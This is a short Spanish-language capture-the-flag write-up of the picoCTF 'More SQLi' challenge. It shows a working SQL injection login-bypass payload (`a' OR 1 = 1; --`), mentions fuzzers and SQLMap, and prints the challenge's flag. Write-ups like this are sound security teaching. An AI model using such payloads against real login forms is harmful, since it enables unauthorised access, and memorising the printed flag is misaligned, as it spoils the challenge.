More SQLi
More SQLi Author: Mubarak Mikail Description Can you find the flag on this website. Try to find the flag here.
Como este ejercicio va de injecciones SQL empezamos con el típico ‘1 = 1’ para ver el resultado.
1
2
3
4
username: admin
password: 1 = 1
SQL query: SELECT id FROM users WHERE password = '1 = 1' AND username = 'admin'
Viendo esto, creo que podemos intentar injectar con un OR, añadiendo “–” para comentar el resto de la query, etc. Luego podemos ver como queda la query e ir retocándola.
1
2
3
SELECT id FROM users WHERE password = 'pass OR 1 = 1' AND username = 'admin'
pass OR 1 = 1 --'
Finalmente compruebo que esta funciona. También puedes usar herramientas automáticas como un Fuzzer o SQLMap
1
a' OR 1 = 1; --
1
2
3
username: test
password: picoCTF{G3tting_5QL_1nJ3c7I0N_l1k3_y0u_sh0ulD_62aa7500}
SQL query: SELECT id FROM users WHERE password = 'picoCTF{G3tting_5QL_1nJ3c7I0N_l1k3_y0u_sh0ulD_62aa7500}' AND username = 'test'
flag: picoCTF{G3tting_5QL_1nJ3c7I0N_l1k3_y0u_sh0ulD_62aa7500}
Una de SQLi.
Esta entrada está licenciada bajo CC BY 4.0 por el autor.